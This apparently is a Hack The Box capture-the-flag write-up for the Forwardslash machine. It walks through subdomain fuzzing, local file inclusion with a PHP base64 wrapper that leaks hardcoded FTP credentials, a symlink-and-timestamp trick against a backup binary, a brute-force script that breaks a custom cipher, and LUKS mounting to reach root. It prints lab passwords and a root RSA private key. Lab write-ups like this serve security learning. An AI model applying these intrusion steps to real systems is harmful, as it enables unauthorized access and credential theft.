Briefing
Forwardslash has only two ports but requires you to dig deep in your enumeration on the website. The first step is subdomain discovery, followed by directory fuzzing and local file inclusion with a php wrapper through the login page. Following this is an LFI exploit that displays plain text credentials to ssh in. The active process is owned by user pain which is constantly generating an md5sum timestamp and we run the config.php.bak with a spoofed time stamp. From there we analyze SUID availability and there is a script that encrypts backup images, and a module that maps backup images to a mounted location. We reverse engineer the encryption script, mount the image and get root.
Summary
Finding subdomain
Enumerating for Local File Inclusion
Using a PHP wrapper to by pass filters and gain LFI
Extract credentials from index.php with LFI
Login as Chiv
Analyze backup and config.php.bak, write bash script to spoof time stamp.
Login as pain
Get user.txt
Analyze encryptorinator
Reverse and retrieve key
Mount the backup images with the key
Login as root
Obtain root.txt
Recon
Nmap
Two ports are open which is deceptive compare to the usual lists with HTB machines.
Port 80 HTTP and 22 SSH are open.
Port 80
The home page talks about the attackers possibly using XML and Automatic FTP Logins. My initial attempt at directory busting yield no results and I shifted over to subdomain fuzzing using the sec list "subdomain-top1million-110000.txt",
sudo gobuster vhost -t20 -w subdomains-top1million-110000.txt -u http://forwardslash.htb -o vhostbust.log
We get the results backup.forwardslash.htb and add this to our etc hosts file.
echo-e"10.10.10.183\tbackup.forwardslash.htb">> /etc/hosts
backup.forwardslash.htb
I browsed to the backup.forwardslash.htb page and received cannot be displayed. I attempted to perform verb tampering, https request smuggling and cache poisoning but could not get anything. Then all of a sudden it worked and I guess it just took some time to update my cache. This brought me to the login page.
I started to run SQL map on the and while I was looking around I realized I could create an account. So I did exactly that and logged in as an administrator.
I also had go buster running against the subdomain and I found a dev folder
This page appears to likely have an XML external Entity (XXE) vulnerability but I was unable to exploit it. I did however talk to some other people that went through that way and confirmed it is possible.
By pass client side buttons
Out of all the options this page, to change your profile picture stood out as mis configured. Initially you will notice the button to submit is disabled and you cannot enter a URL.
Inspecting the page source shows us a client side misconfiguration.
The buttons for both the submit and URL: are disabled.
We can actually delete the client side code and open access to these buttons which allows the submission of a URL. From here I enter my existing ip address into the URL and set up a NC listener to look for a successful outbound query.
The response was successful and moves us closer to our goal.
Local File Inclusion
So this is fantastic, we are able to make get requests and gain a little control over this form. I was not sure where to go from here so I burped the port and checked the request where I got lucky for the next clue.
The url= parameter at the bottom is our entry and testing point for local file inclusion as we run some payloads.
The standard payload will be to send a request to file /etc/passwd/
file://etc/passwd
While looking around I tried to drop the index for backup.forwardslash.htb and received a denied response.
I went on a bit of a tangent here with https request smuggling, verb tampering and cache poisoning and I got no where. Eventually I moved in the direction of filter by passing with encoding wrappers and with some trial and error. The final payload looked like this.
Just a regular php base 64 wrapper. The was interpreted and processed by the back end server.
Boom there it is, we received the response page in base64 and proceed to decrypt the page for the following code.
<?php
//include_once ../session.php;
// Initialize the session
session_start();
if((!isset($_SESSION["loggedin"]) || $_SESSION["loggedin"] !== true || $_SESSION['username'] !== "admin") && $_SERVER['REMOTE_ADDR'] !== "127.0.0.1"){
header('HTTP/1.0 403 Forbidden');
echo "<h1>403 Access Denied</h1>";
echo "<h3>Access Denied From ", $_SERVER['REMOTE_ADDR'], "</h3>";
//echo "<h2>Redirecting to login in 3 seconds</h2>"
//echo '<meta http-equiv="refresh" content="3;url=../login.php" />';
//header("location: ../login.php");
exit;
}
?>
<html>
<h1>XML Api Test</h1>
<h3>This is our api test for when our new website gets refurbished</h3>
<form action="/dev/index.php" method="get" id="xmltest">
<textarea name="xml" form="xmltest" rows="20" cols="50"><api>
<request>test</request>
</api>
</textarea>
<input type="submit">
</form>
</html>
<!-- TODO:
Fix FTP Login
-->
<?php
if ($_SERVER['REQUEST_METHOD'] === "GET" && isset($_GET['xml'])) {
$reg = '/ftp:\/\/[\s\S]*\/\"/';
//$reg = '/((((25[0-5])|(2[0-4]\d)|([01]?\d?\d)))\.){3}((((25[0-5])|(2[0-4]\d)|([01]?\d?\d))))/'
if (preg_match($reg, $_GET['xml'], $match)) {
$ip = explode('/', $match[0])[2];
echo $ip;
error_log("Connecting");
$conn_id = ftp_connect($ip) or die("Couldn't connect to $ip\n");
error_log("Logging in");
if (@ftp_login($conn_id, "chiv", 'N0bodyL1kesBack/')) {
error_log("Getting file");
echo ftp_get_string($conn_id, "debug.txt");
}
exit;
}
libxml_disable_entity_loader (false);
$xmlfile = $_GET["xml"];
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
$api = simplexml_import_dom($dom);
$req = $api->request;
echo "-----output-----<br>\r\n";
echo "$req";
}
function ftp_get_string($ftp, $filename) {
$temp = fopen('php://temp', 'r+');
if (@ftp_fget($ftp, $temp, $filename, FTP_BINARY, 0)) {
rewind($temp);
return stream_get_contents($temp);
}
else {
return false;
}
}
?>
Looking through the code yields us valid user credentials which we use to login to the target over ssh.
if (@ftp_login($conn_id, "chiv", 'N0bodyL1kesBack/')) {
Foothold to User
Now that we were successfully able to login with user chiv we get a shell but still cannot read the user.txt. This is pretty common with HTB and the next stage will be moving horizontally to another user on the system.
From here I uploaded linpeas.sh enumeration script by hosting a server with
python3 http.server
From the target host I used wget to retrieve linepeas.sh.
wget http://10.10.14.57:8000/linpeas.sh
Linpeas
Running linpeas provided a stream of results and my first red herring was actually the SUID mount binary, which distracted me at first but came in handy later on.
Traversing over to /bin/ we run the mount binary and receive nothing out of the normal, and I was not able to exploit this command so we move on for now.
There is also this backup binary flagged as important along with backups/config.php/bak.
Backup
The next interesting file that linpeas.sh picked up was /usr/bin/backup.
Running this file provided some interesting results.
Every time we run the binary the Hex string Changes.
Stack Trace
Because a backup binary is not a linux binary by default this is a promising target to attack. However we have limited information and cannot make any deductions without investigating further.
Because I was not able to download the file I will instead you strace.
In the simplest case strace runs the specified command until it exits. It intercepts and records the system calls which are called by a process and the signals which are received by a process. The name of each system call, its arguments and its return value are printed on standard error or to the file specified with the -o option.
We can see that the comments are suggesting we have to read the right file while ensuring the backup is taken at a particular time. The provided string of encoded characters was identified as md5 with a hash analyzer.
What time is it?
Because the hash is constantly changing and the binary talks about the importance of time, we want to compare the hash of the current time with the hash of the binary to learn if that is our hash text. The hints on the forum also suggested at this.
time="$(date +%H:%M:%S | tr -d '\n' | md5sum | tr -d ' -')"
echo $time
backup
With some research and a few questions on HTB discord I pulled together a script that worked.
The file pulls the date, strips new lines and provides an md5sum without the trailing ' -', and storing this in a variable called time which is then echoed at the same time the backup command is run.
However the default date command outputs something like this.
Tue Aug 25 20:56:37 UTC 2020
We had to strip some of the variables.
Hence why we specify date with only the hour, minute and second.
Analyzing the backup binary also provided clarity as seen below.
The binary shows that 3 variables are being printed to the screen and hashed with md5. This is likely Hour:Minute:Second. From here I was getting the correct time match up
From here we had to make sure that we are reading the right file. So I uploaded pspy64 and launched my script with a hope to capture the file call but it failed.
Back to the drawing board
If we spoof the current time and read the right file we will get something. Nothing was found in the binary. So we took a guess from some talk on the forum about a symbolic link between the time variable produced and stripped from our script and connect it with var/backups.php.bak..
ln -s - Creates symbolic link.
time="$(date +%H:%M:%S | tr -d '\n' | md5sum | tr -d ' -')"
echo "$time"
ln -s /var/backups/config.php.bak ~/tmp/$time
backup
This actually got us the users password and I could not believe it!
user : pain
password: db1f73a72678e857d91e71d2963a1afa9efbabb32164cc1d94dbc704
Root
We start with the usual sudo -l and see we have access to three commands that can be run with root privileges. Below we can see and make the following inferences.
Backups and Luks encryption are referenced
We likely have to decrypt a backup image
the dev/mapper location suggests we can mount to read
There was alos a note.txt in our directory which talks about encrypted information on the target with an encryption key that had been communicated in person.
Two more files ciphtertext and encrypter.py need to be investigated so we started with the envrypter script.
To help me understand what is going on here, I took out my rubber duck and attempted to not only interpret this code but to explain it to a rubber duck.
I focused on the code trying to understand each step while making comments.
// The encrypt function operates by generating a final value. Every character in key is added to each character in message, one at a time for a total sum.
def encrypt(key, msg):
key = list(key)
//Define key
msg = list(msg)
//Define msg to encrypt
for char_key in key:
//Iterate through each character of key
for i in range(len(msg)):
//Iterate through msg one letter at a time
if i == 0:
//Error check to confirm msg input
tmp = ord(msg[i]) + ord(char_key) + ord(msg[-1]) //
else:
tmp = ord(msg[i]) + ord(char_key) + ord(msg[i-1])
//Sum of value = msg + (key + Previous msg char)
while tmp > 255:
tmp -= 256
// Modulus 256
msg[i] = chr(tmp)
// converts value back to char
return ''.join(msg)
def decrypt(key, msg):
key = list(key)
//Define key
msg = list(msg)
//Define Message
for char_key in reversed(key):
//Iterate through each character of key
for i in reversed(range(len(msg))):
//Iterate through message one letter at a time
if i == 0:
// Error check to confirm message input
tmp = ord(msg[i]) - (ord(char_key) + ord(msg[-1]))
else:
tmp = ord(msg[i]) - (ord(char_key) + ord(msg[i-1]))
// Remaining value = message - (key + previous msg)
while tmp < 0:
tmp += 256
// Modulus 256
msg[i] = chr(tmp)
// converts value back to char
return ''.join(msg)
print encrypt('REDACTED', 'REDACTED')
print decrypt('REDACTED', encrypt('REDACTED', 'REDACTED'))
We have the cipher text which displays values out of the ascii table boundaries. This explains the large values that are generated in the encryptor.py encryption sums.
This part of the box was a little difficult and I spent allot of time trying to script out a reverse encryption and with information in the HTB forum and assistance from my team I eventually figured this out.
def decrypt(key, msg):
key = list(key)
msg = list(msg)
for char_key in reversed(key):
for i in reversed(range(len(msg))):
if i == 0:
tmp = ord(msg[i]) - (ord(char_key) + ord(msg[-1]))
else:
tmp = ord(msg[i]) - (ord(char_key) + ord(msg[i-1]))
while tmp < 0:
tmp += 256
msg[i] = chr(tmp)
return ''.join(msg)
ciphertext = open('ciphertext', 'r').read().rstrip()
for i in range(1, 165):
for v in range(33, 127):
key = chr(v) * i
msg = decrypt(key, ciphertext)
if 'the ' in msg or 'be ' in msg or 'and ' in msg
: exit("Key: {0}, Msg: {2}".format(key, len(key), msg))
The solution resulted in an a mapping of all possibilities until readable words are found. The entropy factor is low, as all values will end in a similar post modulus range.
Mounting backup images
The clue in the decrypted message provided a backup location and password.
Lets head to that location and enumerate.
An encrypted file was waiting with a Luks encrypted file header. This is pretty straight forward with the goal to mount the image, decrypt with our provided key and investigate from there.
Some research shows that cryptsetup is a linux local library that offers communication with encrypted devices. Crypstup even has a module specific to Luks encrypted devices.
More information can be found here
https://www.systutorials.com/docs/linux/man/8-cryptsetup/
sudo /sbin/cryptsetup luksOpen: - Calls the linux Cryptsetup module with Luks configurations
/var/backups/recovery/encrypted_backup.img backup: - our desired backup image and output name
cryptsetup by default will mount an image to the /dev/mapper location
Where we see a symbolic link to dm-0, (device mapper). This means our image is virtually mounted and recognized as an external device.
Lets revisit the sudo commands that user pain can run as this will shape the direction of our efforts. We have already used crypt setup with the LuksOpen module to decrypt the device, so our next step will be inline with the second command to mount the decryption image to a location and bring online.
We move to the /dev/shm folder as we were not able to write to /dev/ folder when creating a mount point. From the /dev/shm directory. The /dev/shm directory is for mounting virtual images in temporary storage. It is here we are able to create a mount point, as is referenced in the sudo availability commands in the above image.
We make a directory named ./mnt/ and then utilize the mount command to mount the decrypted backup to the ./mnt/ directory.
Sudo /bin/mount /dev/mapper/backup ./mnt/
Browsing the newly mounted and decrypted backup folder with the sudo accessible commands we have decryptyed, mounted and read the content where we found an rsa key to root.
pain@forwardslash:/dev/shm/mnt$ cat id_rsa
-----BEGIN RSA PRIVATE KEY-----
MIIEowIBAAKCAQEA9i/r8VGof1vpIV6rhNE9hZfBDd3u6S16uNYqLn+xFgZEQBZK
RKh+WDykv/gukvUSauxWJndPq3F1Ck0xbcGQu6+1OBYb+fQ0B8raCRjwtwYF4gaf
yLFcOS111mKmUIB9qR1wDsmKRbtWPPPvgs2ruafgeiHujIEkiUUk9f3WTNqUsPQc
u2AG//ZCiqKWcWn0CcC2EhWsRQhLOvh3pGfv4gg0Gg/VNNiMPjDAYnr4iVg4XyEu
NWS2x9PtPasWsWRPLMEPtzLhJOnHE3iVJuTnFFhp2T6CtmZui4TJH3pij6wYYis9
MqzTmFwNzzx2HKS2tE2ty2c1CcW+F3GS/rn0EQIDAQABAoIBAQCPfjkg7D6xFSpa
V+rTPH6GeoB9C6mwYeDREYt+lNDsDHUFgbiCMk+KMLa6afcDkzLL/brtKsfWHwhg
G8Q+u/8XVn/jFAf0deFJ1XOmr9HGbA1LxB6oBLDDZvrzHYbhDzOvOchR5ijhIiNO
3cPx0t1QFkiiB1sarD9Wf2Xet7iMDArJI94G7yfnfUegtC5y38liJdb2TBXwvIZC
vROXZiQdmWCPEmwuE0aDj4HqmJvnIx9P4EAcTWuY0LdUU3zZcFgYlXiYT0xg2N1p
MIrAjjhgrQ3A2kXyxh9pzxsFlvIaSfxAvsL8LQy2Osl+i80WaORykmyFy5rmNLQD
Ih0cizb9AoGBAP2+PD2nV8y20kF6U0+JlwMG7WbV/rDF6+kVn0M2sfQKiAIUK3Wn
5YCeGARrMdZr4fidTN7koke02M4enSHEdZRTW2jRXlKfYHqSoVzLggnKVU/eghQs
V4gv6+cc787HojtuU7Ee66eWj0VSr0PXjFInzdSdmnd93oDZPzwF8QUnAoGBAPhg
e1VaHG89E4YWNxbfr739t5qPuizPJY7fIBOv9Z0G+P5KCtHJA5uxpELrF3hQjJU8
6Orz/0C+TxmlTGVOvkQWij4GC9rcOMaP03zXamQTSGNROM+S1I9UUoQBrwe2nQeh
i2B/AlO4PrOHJtfSXIzsedmDNLoMqO5/n/xAqLAHAoGATnv8CBntt11JFYWvpSdq
tT38SlWgjK77dEIC2/hb/J8RSItSkfbXrvu3dA5wAOGnqI2HDF5tr35JnR+s/JfW
woUx/e7cnPO9FMyr6pbr5vlVf/nUBEde37nq3rZ9mlj3XiiW7G8i9thEAm471eEi
/vpe2QfSkmk1XGdV/svbq/sCgYAZ6FZ1DLUylThYIDEW3bZDJxfjs2JEEkdko7mA
1DXWb0fBno+KWmFZ+CmeIU+NaTmAx520BEd3xWIS1r8lQhVunLtGxPKvnZD+hToW
J5IdZjWCxpIadMJfQPhqdJKBR3cRuLQFGLpxaSKBL3PJx1OID5KWMa1qSq/EUOOr
OENgOQKBgD/mYgPSmbqpNZI0/B+6ua9kQJAH6JS44v+yFkHfNTW0M7UIjU7wkGQw
ddMNjhpwVZ3//G6UhWSojUScQTERANt8R+J6dR0YfPzHnsDIoRc7IABQmxxygXDo
ZoYDzlPAlwJmoPQXauRl1CgjlyHrVUTfS0AkQH2ZbqvK5/Metq8o
-----END RSA PRIVATE KEY-----
Root
The End
All in all this was a very good box, that was relatively straight forward but difficult.
I especially enjoyed the local file inclusion, and scripting a reverse key.
Commentaires